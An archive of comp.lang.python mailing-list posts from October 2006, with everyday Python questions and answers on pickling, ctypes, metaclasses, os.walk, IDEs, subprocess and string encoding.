> > frameworks?
>
> Why would you want to use that monstrosity?

Two words: "contractual obligation"

-- Theerasak


From moqtar at gmail.com  Tue Oct 24 03:06:14 2006
From: moqtar at gmail.com (Kirt)
Date: 24 Oct 2006 00:06:14 -0700
Subject: http call.
Message-ID: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>

Hi!

I have a php program (test.php) on a server. eg:
http://abc.xyz.com/test.php

I need my python scripts to make a http call to these program pass some
data and get back a secret key from the php program..

Could anyone help me this, what will i need to make a http call to the
php application?



From __peter__ at web.de  Thu Oct 12 13:04:51 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Oct 2006 19:04:51 +0200
Subject: Pickling an instance of a class containing a dict doesn't work
References: <4p6vk6Fh2jevU1@news.dfncis.de>
	<1160662300.159122.20520@m7g2000cwm.googlegroups.com>
	<1160662416.716488.19740@k70g2000cwa.googlegroups.com>
	<4p72coFhibirU1@news.dfncis.de>
Message-ID: <eglsfo$i38$01$1@news.t-online.com>

Marco Lierfeld wrote:

> Jon Clements wrote:
> 
>>> if you change the above to:
>>>
>>> class subproject:
>>>     def __init__(self):
>>>         configuration = { }
>>>         build_steps = [ ]
>> 
>> Of course, I actually meant to write self.configuration and
>> self.build_steps; d0h!
> 
> Thank you Jon and Paul, you both were 100% right :)
> 
> But I still don't understand, why the list was saved and the dict was
> not... confusing ;)

Chances are you have inadvertently created an /instance/ attribute
build_steps which was then saved:

s = subproject()
# ...
s.configuration["name"] = "my dinner" # modifies the class attribute
s.build_steps = ["hunt", "kill", "cook"] # creates an instance attribute

Peter




From MonkeeSage at gmail.com  Fri Oct  6 21:02:31 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 18:02:31 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <eg6opn$7oj$1@panix3.panix.com>
References: <eg6opn$7oj$1@panix3.panix.com>
Message-ID: <1160182951.812677.178750@i42g2000cwa.googlegroups.com>



On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
> The following line of lightly munged code was found in a publicly
> available Python library...

Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
which was written by the very finger of God when the world was still in
chaotic darkness. But I guess I'm an atheist when it comes to PEP 8. If
it is clearer to you to make the condition explicit ("blah not False"),
rather than implicit ("not blah"), then use the former. I say write the
code the way *you* (and your team if applicable) are best able to read,
write and maintain it. Then when other people tell you that it isn't
good style, or isn't "pythonic," just stab them in the face with
soldering iron ala Chris Walken. :)

Regards,
Jordan



From jstroud at mbi.ucla.edu  Sat Oct 28 06:06:57 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sat, 28 Oct 2006 10:06:57 GMT
Subject: Need help (Basic python)...what did I do wrong?
In-Reply-To: <pan.2006.10.28.09.45.07.327891@REMOVE.THIS.cybersource.com.au>
References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>
	<mailman.1394.1162025806.11739.python-list@python.org>
	<pan.2006.10.28.09.45.07.327891@REMOVE.THIS.cybersource.com.au>
Message-ID: <5ZF0h.22588$e66.5345@newssvr13.news.prodigy.com>

Steven D'Aprano wrote:
> On Sat, 28 Oct 2006 18:56:33 +1000, Ben Finney wrote:
> 
>> "frankie_85" <steveadi at gmail.com> writes:
>>
>>> I just made a simple code which is part of my assignment
>> You may want to review the restrictions your educational institution
>> has on collusion.
> [snip]
>> Again, please make sure you work on these problems yourself; your
>> assessment should not be testing your ability to ask on the internet
>> for assistance.
> 
> I don't think the restrictions against collusion are meant to prohibit
> simple "what does this error message mean?" type questions. It would be
> a funny sort of learning process that forced students to live in a
> vacuum, never discussing their topic with anyone else, never asking the
> most trivial questions.
> 
> 

I think you are wrong. The new trend is toward absolutely no instruction 
at all and the students must guess the assignment. In this regard, I 
believe the OP is doing very well. Don't you think?

James


From irmen.NOSPAM at xs4all.nl  Wed Oct  4 13:53:25 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Wed, 04 Oct 2006 19:53:25 +0200
Subject: Is there an alternative to os.walk?
In-Reply-To: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
Message-ID: <4523f51b$0$4528$e4fe514c@news.xs4all.nl>

Bruce wrote:
> Hi all,
> I have a question about traversing file systems, and could use some
> help. Because of directories with many files in them, os.walk appears
> to be rather slow. 

Provide more info/code. I suspect it is not os.walk itself that is slow,
but rather the code that processes its result...

> I`m thinking there is a potential for speed-up since
> I don`t need os.walk to report filenames of all the files in every
> directory it visits. Is there some clever way to use os.walk or another
> tool that would provide functionality like os.walk except for the
> listing of the filenames?

You may want to take a look at os.path.walk then.

--Irmen


From david at boddie.org.uk  Sat Oct  7 20:25:47 2006
From: david at boddie.org.uk (David Boddie)
Date: Sun, 08 Oct 2006 02:25:47 +0200
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <9e952$4527b80c$54d1d767$27208@news.chello.no>
	<4527b9bc@127.0.0.1>
Message-ID: <b3d58$4528458b$54d1d767$21597@news.chello.no>

On Saturday 07 October 2006 16:29, DarkBlue wrote:

> David Boddie wrote:

>> You need to activate the window associated with the application.

[...]

> My python app actually is a pythoncard app
> which I hope will make things easier.

If PythonCard or its underlying API has a function for activating
windows, this _should_ do what you want.

David


From theller at python.net  Fri Oct  6 15:06:10 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Oct 2006 21:06:10 +0200
Subject: Ctypes and freeing memory
In-Reply-To: <6f7b52d0610061140y493c4400u452af7f7758aa0e2@mail.gmail.com>
References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>	<eg616n$tgv$1@sea.gmane.org>
	<6f7b52d0610061140y493c4400u452af7f7758aa0e2@mail.gmail.com>
Message-ID: <eg69f2$pje$3@sea.gmane.org>

Oliver Andrich schrieb:
> On 10/6/06, Thomas Heller <theller at python.net> wrote:
>> Chris Mellon has already pointed out a possible solution, but there is also a
>> different way.  You could use a subclass of c_char_p as the restype
>> attribute:
>>
>> class String(c_char_p):
>>     def __del__(self):
>>         MagickRelinquishMemory(self)
>>
>> The difference is that you will receive an instance of this class
>> when you call the MagickGetException funcion.  To access the 'char *'
>> value, you can access the .value attribute (which is inherited from
>> c_char_p), and to free the memory call MagickRelinquishMemory
>> in the __del__ method.
> 
> These is an even better solution, cause it lets me drop one decorator,
> I have been using at the moment, to handle these things.
> 
> Thanks a lot. ctypes is so much fun to use. Lately I had to use JNI,
> and well, compared to this experience I am now in heaven. :) Sadly, I
> can't provide my team members an equal solution in the Java world,
> cause one of them starts to hate me for assigning him on another JNI
> job in our project.

In the old ctypes CVS repository is a project started and sometimes
worked on by Bradley Schatz - ctypes-java.  I have never used it but
was amazed by the idea (!).  You could take a look at it or write
to Bradley ;-).

Thomas



From richardjones at optushome.com.au  Thu Oct  5 05:26:19 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Thu, 05 Oct 2006 19:26:19 +1000
Subject: Hands on Documentation for Python methods and Library
References: <mailman.1313.1160024110.10491.python-list@python.org>
Message-ID: <4524cfbb$0$5110$afc38c87@news.optusnet.com.au>

Wijaya Edward wrote:
> One can do the following with Perl
>  
> $ perldoc -f chomp
> $ perldoc -f function_name

$ pydoc dir
$ pydoc function_name

or

$ pydoc math
$ pydoc module_name


    Richard






From paolopantaleo at gmail.com  Sat Oct 21 13:05:25 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Sat, 21 Oct 2006 19:05:25 +0200
Subject: Screen capture on Linux
Message-ID: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com>

Hi,

I need to capture a screen snapshot in Linux. PIL has a module
IageGrab, but in the free version it only works under Windows. Is
there any package to capture the screen on Linux?

Thnx
PAolo


From george.sakkis at gmail.com  Mon Oct 16 01:31:24 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 15 Oct 2006 22:31:24 -0700
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
Message-ID: <1160976684.218025.71050@m73g2000cwd.googlegroups.com>

neoedmund wrote:

> python use multiple inheritance.
> but "inheritance" means you must inherite all methods from super type.
> now i just need "some" methods from one type and "some" methods from
> other types,
> to build the new type.
> Do you think this way is more flexible than tranditional inheritance?

The following does the trick:

from types import MethodType

def addMethod(meth, obj):
    f = meth.im_func
    setattr(obj, f.__name__, MethodType(f,obj))

def test1():
    addMethod(C2.m, C3)
    addMethod(C1.v, C3)
    o = C3()
    o.m()

The same works as is on modifying individual instances, rather than
their class:

def test2():
    o = C3()
    addMethod(C2.m, o)
    addMethod(C1.v, o)
    o.m()
    # raises AttributeError
    # C3().m()

 
George



From steve at holdenweb.com  Sun Oct  1 09:41:09 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 14:41:09 +0100
Subject: AN Intorduction to Tkinter
In-Reply-To: <efnto0$ufl$1@sea.gmane.org>
References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com>	<451A314F.3060703@isy.liu.se>	<mailman.815.1159378067.10491.python-list@python.org>	<1159395485.824735.319090@b28g2000cwb.googlegroups.com>	<1159419097.556600.160750@k70g2000cwa.googlegroups.com>	<1159488825.144496.86610@c28g2000cwb.googlegroups.com>	<mailman.917.1159509227.10491.python-list@python.org>	<1159672543.243321.18760@b28g2000cwb.googlegroups.com>
	<efnto0$ufl$1@sea.gmane.org>
Message-ID: <efogg4$g5d$2@sea.gmane.org>

Fredrik Lundh wrote:
> flyingisfun1217 at gmail.com wrote:
> 
> 
>>As far as I can tell, its not anything to do with your code. I think
>>its something with tkinter modules.
> 
> 
> as in ?
> 
> you've posted five posts to this thread, but you still haven't provided 
> us with more clues than "I noticed they didn't work" and "I think it's 
> something with some module".  don't you think it would be easier to help 
> you if you actually explained what you did, what you expected to happen, 
> and what happened instead ?
> 
> </F>
> 
Can the effbot really have been taken in by a troll? Or does the troll 
not realise it's a troll?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ldo at geek-central.gen.new_zealand  Fri Oct  6 06:31:26 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Fri, 06 Oct 2006 23:31:26 +1300
Subject: Makin search on the other site and getting data and writing in xml
References: <1159178422.607126.214270@m7g2000cwm.googlegroups.com>
	<mailman.555.1159185240.10491.python-list@python.org>
	<pan.2006.09.26.05.31.29.232569@REMOVEME.cybersource.com.au>
	<mailman.643.1159255733.10491.python-list@python.org>
	<1159263438.026179.145120@b28g2000cwb.googlegroups.com>
	<mailman.657.1159264862.10491.python-list@python.org>
	<1159314523.951825.174470@m7g2000cwm.googlegroups.com>
	<1159321413.386979.142130@m7g2000cwm.googlegroups.com>
	<1159375559.623732.223280@e3g2000cwe.googlegroups.com>
Message-ID: <eg5b81$29h$2@lust.ihug.co.nz>

In message <1159375559.623732.223280 at e3g2000cwe.googlegroups.com>, Paul
Boddie wrote:

> Various sites forbid wget and friends as a rule, understandably ...

No, that is not understandable.



From joshbloom at gmail.com  Wed Oct 25 19:40:38 2006
From: joshbloom at gmail.com (Josh Bloom)
Date: Wed, 25 Oct 2006 16:40:38 -0700
Subject: What's the best IDE?
In-Reply-To: <453ff3a7$0$23866$426a74cc@news.free.fr>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
Message-ID: <d25b6e9a0610251640w4c852bc2ye67e98aad533e1a9@mail.gmail.com>

I'm not going to call it the 'best' ide as thats just silly.

But if your developing on Windows pyscripter
http://mmm-experts.com/Products.aspx?ProductId=4 is a great IDE.

-Josh


On 10/25/06, Bruno Desthuilliers <bdesth.quelquechose at free.quelquepart.fr>
wrote:
>
> Hakusa at gmail.com a ?crit :
> > Recently I've had some problems with PythonWin when I switched to
> > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
> > helper, and I'm looking for a cool replacement, or some advocation to
> > reinstall/setup PyWin. But the Python website's list is irrefutably
> > long. It would take a month or two to test all of those products. So
> > I'm looking for experienced advocates.
> >
> > What's your favorite IDE?
> emacs
>
> > What do you like about it?
> 1. It's so complicated and ugly that just using it is enough to makes
> you look like a seasonned pro.
> 2. It gives me a reason to engage in holy wars with vim users.
>
> > It would be fine for a begginer, right?
> Certainly not.
>
> But you may want to look for other advices:
> http://groups.google.com/groups?as_q=best+IDE&as_ugroup=comp.lang.python
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From __peter__ at web.de  Fri Oct  6 04:18:13 2006
From: __peter__ at web.de (Peter Otten)
Date: Fri, 06 Oct 2006 10:18:13 +0200
Subject: Access to static members from inside a method decorator?
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
	<1160104692.597151.143200@b28g2000cwb.googlegroups.com>
Message-ID: <eg53cl$u3e$00$1@news.t-online.com>

glen.coates.bigworld at gmail.com wrote:

> Thanks for all the help guys ... in almost every way using a metaclass
> seems to be the right solution for what I'm trying to do here.  I say
> almost because there is one thing that is still confusing me: what is
> the most elegant way to provide base-class implementations of methods
> that are expected to be overriden by some of the derived classes (or in
> the case of metaclasses, the classes that either declare __metaclass__
> = Exposed or are derived from such classes).
> 
> Here's what I've just knocked out:

[snip example]

> The problem here is that the implementation of 'bar' inside
> Exposed.__init__ overrides the implementation of bar() in Process,
> which makes sense I guess seeing as Exposed.__init__() is called after
> the class has been initialised.  It's not a problem for
> getExposedMethods() seeing as it's not overriden by any derived
> classes.
> 
> So what is the accepted way of doing this?  Do I need two Exposed
> classes, one is the metaclass that handles all the static mapping
> stuff, and another provides base implementations of methods and is what
> is actually derived from? E.g.:

You define one base type with a custom metaclass and inherit from that. Your
example then becomes:

import sys

class ExposedType( type ):
    def __init__( cls, *args, **kw ):
        # Track marked exposed methods
        cls.s_exposedMethods = []
        for superclass in cls.__mro__:
            for name, meth in superclass.__dict__.items():
                if hasattr( meth, "exposed" ):
                    cls.s_exposedMethods.append( name )

class Exposed:
    __metaclass__ = ExposedType
    def getExposedMethods(self):
        return self.s_exposedMethods
    def bar(self):
        print "bar\n"
    @staticmethod
    def expose( f ):
        f.exposed = True
        return f

class Process( Exposed):
    @Exposed.expose
    def foo( self ):
        pass
    def bar( self ):
        print "BAR"


class BotProcess( Process ):
    @Exposed.expose
    def addBots( self ):
        pass

p = Process()
p.bar()

This prints "BAR" as expected.

Peter


From bearophileHUGS at lycos.com  Wed Oct 11 18:38:49 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 11 Oct 2006 15:38:49 -0700
Subject: dicts + amb
In-Reply-To: <1160605414.714511.181280@k70g2000cwa.googlegroups.com>
References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com>
	<pan.2006.10.11.21.56.01.797790@gmx.net>
	<1160605414.714511.181280@k70g2000cwa.googlegroups.com>
Message-ID: <1160606328.990908.321470@m73g2000cwd.googlegroups.com>

bearophileHUGS at lycos.com:
> 456 ".itervalues()" lang:python
> 415 ".iteritems()" lang:python
> 403 ".iterkeys()" lang:python
> 387 ".values()" lang:python
> 385 ".clear()" lang:python
> 256 ".update(" lang:python
> 254 ".fromkeys(" lang:python
> 224 ".has_key(" lang:python
> 201 ".get(" lang:python
> 200 ".items()" lang:python
> 159 ".popitem()" lang:python
> 113 "a.setdefault(" lang:python

Sorry:

398 lang:python ".setdefault("

Results are probably too much approximated to be of any use...

Bye,
bearophile



From python.sam at googlemail.com  Sun Oct  8 14:41:06 2006
From: python.sam at googlemail.com (sam)
Date: 8 Oct 2006 11:41:06 -0700
Subject: print time comparison: IDLE versus terminal on ultra 20
Message-ID: <1160332865.902895.315470@e3g2000cwe.googlegroups.com>

hi all,

i continue to footle around on my spanking new ultra 20 (1.8GHz /
Opteron Model 144), gradually trying to get to grips with python and
unix both.

the slow print time in IDLE had already struck me as rather odd.
running programs with heavy print requirements from the terminal was a
major discovery though, printing being so fast as to make everything
appear at once except in the case of literally thousands of items to be
printed.

test case:

import time

time1 = time.time()
for i in range(100):
    print 'go get \'em, son!'
time2 = time.time()

print time2-time1


in IDLE:
4.433 seconds

in terminal:
0.001 seconds

a difference of between 3 and 4 orders of magnitude is rather striking.
anyone know what's going on here? is it a python, a unix thing, or
something else?

sam



From radek.svarz at gmail.com  Sun Oct 15 12:43:36 2006
From: radek.svarz at gmail.com (Radek)
Date: 15 Oct 2006 09:43:36 -0700
Subject: run subprocess in separate window
Message-ID: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>

Hi,

I am trying to create GUI launcher of several applications using Python
and Tkinter.

Currently when using subprocess.Popen("mycommand") all output goes to
the stdout of my launcher.

For some command line applications I need to launch them so that their
output goes into the separate "terminal" window.

How can I make it?

Thanks,

Radek



From utabintarbo at gmail.com  Tue Oct 17 14:00:08 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 17 Oct 2006 11:00:08 -0700
Subject: external file closed
In-Reply-To: <1161107585.523458.252700@m73g2000cwd.googlegroups.com>
References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
	<1161107585.523458.252700@m73g2000cwd.googlegroups.com>
Message-ID: <1161108008.487005.109240@b28g2000cwb.googlegroups.com>


Jerry wrote:
> On Oct 17, 12:43 pm, "kilnhead" <bumt... at gmail.com> wrote:
> > I am opening a file using os.start('myfile.pdf') from python. How can I
> > know when the user has closed the file so I can delete it? Thanks.
>
> I assume you mean os.startfile.  There is no way to do this directly.
> os.startfile simply hands off the call to the OS and doesn't provide
> anything to track anything after that.  Since you won't know what
> program handled the file association, you couldn't watch for an
> instance of that to start up and detect when it exits.  Even if you
> could, it wouldn't be reliable as in the case of PDF's and Adobe
> Acrobat Reader, the user could close the document, but not the
> application, so your script would never delete the file in question.
>
> If anyone can think of a way to do this, it would be interesting to see
> how it's done.
>
> --
> Jerry

os.system('myfile.pdf') will give return code upon closing. This can
also be done using the subprocess module with poll().



From bearophileHUGS at lycos.com  Mon Oct  2 11:51:52 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 08:51:52 -0700
Subject: Sort by domain name?
In-Reply-To: <mailman.1102.1159803601.10491.python-list@python.org>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
	<mailman.1102.1159803601.10491.python-list@python.org>
Message-ID: <1159804311.971737.44300@i42g2000cwa.googlegroups.com>

Tim Chase:
> to give you a sorting function.  It assumes http rather than
> having mixed url-types, such as ftp or mailto.  They're easy
> enough to strip off as well, but putting them back on becomes a
> little more exercise.

With a modern Python you don't need to do all that work, you can do:

sorted(urls, key=cleaner)

Where cleaner is a function the finds the important part of a string of
the ones you have to sort.

Bye,
bearophile



From jcd at sdf.lonestar.org  Fri Oct 27 17:36:37 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Fri, 27 Oct 2006 15:36:37 -0600
Subject: How to Split Chinese Character with backslash representation?
References: <mailman.1319.1161920633.11739.python-list@python.org>
	<ITn0h.23478$ta3.5907@tornado.texas.rr.com>
Message-ID: <ehtu4t$60v$1@chiara.aioe.org>

Paul McGuire wrote:
> "Wijaya Edward" <ewijaya at i2r.a-star.edu.sg> wrote in message 
> news:mailman.1319.1161920633.11739.python-list at python.org...
>> Hi all,
>>
>> I was trying to split a string that
>> represent chinese characters below:
>>
>>
>>>>> str = '\xc5\xeb\xc7\xd5\xbc'
>>>>> fields2 = split(r'\\',str)
> 
> There are no backslash characters in the string str, so split finds nothing 
> to split on.  I know it looks like there are, but the backslashes shown are 
> part of the \x escape sequence for defining characters when you can't or 
> don't want to use plain ASCII characters (such as in your example in which 
> the characters are all in the range 0x80 to 0xff). 

Moreover, you are not splitting on a backslash; since you used a 
r'raw_string', you are in fact splitting on TWO backslashes.  It looks 
like you want to treat str as a raw string to get at the slashes, but it 
isn't a raw string and I don't think you can directly convert it to one. 
  If you want the numeric values of each byte, you can do the following:

Py >>> char_values = [ ord(c) for c in str ]
Py >>> char_values
[ 197, 235, 199, 213, 188 ]
Py >>>

Note that those numbers are decimal equivalents of the hex values given 
in your string, but are now in integer format.

On the other hand, you may want to use str.encode('gbk') (or whatever 
your encoding is) so that you're actually dealing with characters rather 
than bytes:

Py >>> str.decode('gbk')

Traceback (most recent call last):
   File "<pyshell#29>", line 1, in -toplevel-
     str.decode('gbk')
UnicodeDecodeError: 'gbk' codec can't decode byte 0xbc in position 4: 
incomplete multibyte sequence
Py >>> str[0:4].decode('gbk')
u'\u70f9\u94a6'

Py >>> print str[0:4].decode('gbk')
??
Py >>> print str[0:4]
????

OK, so gbk choked on the odd character at the end.  Maybe you need a 
different encoding, or maybe your string got truncated somewhere along 
the line....

Cheers,
Cliff


From larry.bates at websafe.com  Fri Oct 13 10:59:12 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 13 Oct 2006 09:59:12 -0500
Subject: always raise syntax error!
In-Reply-To: <1160727087.763855.206040@i3g2000cwc.googlegroups.com>
References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com>
	<pan.2006.10.13.06.37.25.718583@REMOVEME.cybersource.com.au>
	<1160727087.763855.206040@i3g2000cwc.googlegroups.com>
Message-ID: <rOKdnUboBcQgNLLYnZ2dnUVZ_vCdnZ2d@comcast.com>

daniel wrote:
> thank you so much for the reply.
> 
> I finally re-type all the codes where python would raise syntax error,
> then fixed. I did not examine every single word of my old codes though,
>  there might be some parenthesis not matching somewhere, I guess.
> 
> well, I would say, the reason why I could not position the error code
> may partly due to the ambiguous message that python provides. the lines
> that python pointed to contains no error,  I think the error codes must
> be too far away from there. anyway, I hope python would make more
> detailed error messages, like c++ compilers do. such as: "missing ;" or
> "(" not matching...etc.
> 
> tks again..
> 
> daniel
> 
What Steve is trying to tell you is that you need to copy/paste your
code (with the full traceback) in future messages.  We are not mind
readers out here.

Occassionally I will have phantom syntax errors that seem to be
attributable to non-printing characters in a line.  Other times the
error is in fact far above the place pointed to by the syntax error.
Start by commenting out large chunks of code with triple quotes and
slowly work towards the lines with a problem.

-Larry Bates


From onurb at xiludom.gro  Mon Oct 16 05:37:22 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 11:37:22 +0200
Subject: Book about database application development?
In-Reply-To: <0001HW.C158378C00729A42F0407530@news.individual.de>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
Message-ID: <453352d4$0$12918$426a34cc@news.free.fr>

Wolfgang Keller wrote:
> Hello,
> 
> and thanks for your reply, but...
> 
>> Here's a start:
>>
>> http://philip.greenspun.com/sql/
> 
> ...small misunderstanding: I already know a bit of SQL,

Developping quality SQLDBMS-based applications requires more than "a
bit" of SQL knowledge.

> and I intend to avoid 
> its use as far as possible (and use e.g. Modeling or SQLAlchemy).  

I don't know Modeling, but have a bit of experience with SQLAlchemy, and
without SQL and relational model knowledge, you won't get very far.

> What I'm interested in is rather how to connect a GUI to a database, with 
> quite a bit of application logic in between. And how to do it well.

This is more a general design question than a database-related (or even
Python-related) one. The answer starts with forgetting about
"connect(ing) a GUI to a database" IMHO and experience. Might be time to
google for MVC...


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From bignose+hates-spam at benfinney.id.au  Sat Oct 14 03:57:15 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 14 Oct 2006 17:57:15 +1000
Subject: Eclim: Vim interface to Eclipse (was: IDE that uses an external
	editor?)
References: <17711.51000.610108.986578@montanaro.dyndns.org>
Message-ID: <87odsf2uuc.fsf@benfinney.id.au>

skip at pobox.com writes:

> One thing that's kept me from even looking at IDEs is that to the
> best of my knowledge none of them will integrate properly with
> external editors like Emacs or vi.

The Eclim project exposes Eclipse functionality and then uses Vim as
an interface.

    Instead of trying to write a java IDE in Vim or a Vim editor in
    Eclipse, eclim provides an Eclipse plug-in that exposes Eclipse
    features through a server interface, and a set of Vim plug-ins
    that communicate with Eclipse over that interface (as illustrated
    below).

    <URL:http://eclim.sourceforge.net/>

-- 
 \          "I used to be a narrator for bad mimes."  -- Steven Wright |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From venkatbo at yahoo.com  Wed Oct 18 14:32:05 2006
From: venkatbo at yahoo.com (venkatbo at yahoo.com)
Date: 18 Oct 2006 11:32:05 -0700
Subject: How to execute a linux command by python?
In-Reply-To: <mailman.694.1161184524.11739.python-list@python.org>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
	<mailman.694.1161184524.11739.python-list@python.org>
Message-ID: <1161196325.286536.40970@b28g2000cwb.googlegroups.com>


Fredrik Lundh wrote:
> haishan chang wrote:
>
> > How to execute a linux command by python?
> > for example: execute "ls"  or "useradd oracle"
> > Who can help me?
>
> start here:
>
>      http://www.python.org/doc/lib/
>
> </F>

After reading the matl. pointed to by the many links listed here,
you can try pexpect. Provided for more control and interactivity.
More at: http://pexpect.sourceforge.net/

/venkat



From steve at holdenweb.com  Sun Oct 22 04:07:41 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 22 Oct 2006 09:07:41 +0100
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <453af89e$0$12734$9b622d9e@news.freenet.de>
References: <mailman.915.1161491089.11739.python-list@python.org>
	<453af89e$0$12734$9b622d9e@news.freenet.de>
Message-ID: <ehf8qc$jm7$1@sea.gmane.org>

Martin v. L?wis wrote:
> Kenneth Long schrieb:
> 
>>>	Okay if one builds such from sources... but us poor
>>>Windows flunkies
>>>without a build environment have to wait for some
>>>kindly soul to build
>>>the installer compatible with the new Python
>>>version.
>>>
>>
>>especially since I havent got MS visual studio...
>>and mingw is not supported... :-(
> 
> 
> Why do you say that? mingw might just work fine
> (depending on particular details of the extension
> module in question).
> 
At the moment SourceForge is only listing one (UK) mirror for mingw, and 
that seems to be down. I'm guessing something is broken, since I know it 
used to be much more widely available.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From horpner at yahoo.com  Wed Oct 25 20:06:43 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 00:06:43 GMT
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
Message-ID: <n_S%g.7782$5i7.4615@newsreading01.news.tds.net>

On 2006-10-26, Neil Cerutti <horpner at yahoo.com> wrote:
> It seems like the holy wars are pretty. We disciples of Vim and
> Emacs are now content merely being holier than all he others.
>
> Actually, I'm not sure there's been a good Emacs VS Vim holy war
> in years. So... ya know what's I find to be shamefully
> hatefully orthodox?  Believing in the 'meta' key, when it's
> clearly just Alt. Those same people often hold to the heresy
> that 'to fill' means 'to wrap'. They believe that modes exist
> for different 'languages', and moreover, that there's more than
> just the trinity of INSERT, EDIT and COMMAND-LINE.

The above post brought to you by the "Bureau of Dumb Jokes Made
Incomprehensible by Horrible Editing Department".

-- 
Neil Cerutti


From limodou at gmail.com  Wed Oct  4 21:59:08 2006
From: limodou at gmail.com (limodou)
Date: Thu, 5 Oct 2006 09:59:08 +0800
Subject: dictionary of list from a file
In-Reply-To: <1159992675.176015.248850@c28g2000cwb.googlegroups.com>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
	<1159992675.176015.248850@c28g2000cwb.googlegroups.com>
Message-ID: <505f13c0610041859p1e01d259mc9347c6f92788bef@mail.gmail.com>

On 4 Oct 2006 13:11:15 -0700, sjdevnull at yahoo.com <sjdevnull at yahoo.com> wrote:
> limodou wrote:
> > here is my program
> >
> > d = {}
> > for line in file('test.txt'):
> >     line = line.strip()
> >     if line:
> >         k, v = line.strip().split()
> >         d.setdefault(k, []).append(v)
> > print d
>
> Minor nits: you call strip twice, when you don't need to.  just omit
> the second call.

Yes, I forgot that.

> Also, I'm not sure stripping the line is the right thing per the spec;
>
> d = {}
> for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]:
>     k,v = line.split()
>     d.setdefault(k,[]).append(v)
>
[l[:-1] for l in file('test.txt', 'rU') if len(l)>1]

this line I think will create a list, and if the file is large, it'll
consume many memory I think.

And I think using strip is more clear than list comprehension, except
for the memory consume.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From johnjsal at NOSPAMgmail.com  Thu Oct 12 12:05:30 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 12 Oct 2006 16:05:30 GMT
Subject: python 2.5 & sqlite3
In-Reply-To: <mailman.356.1160631952.11739.python-list@python.org>
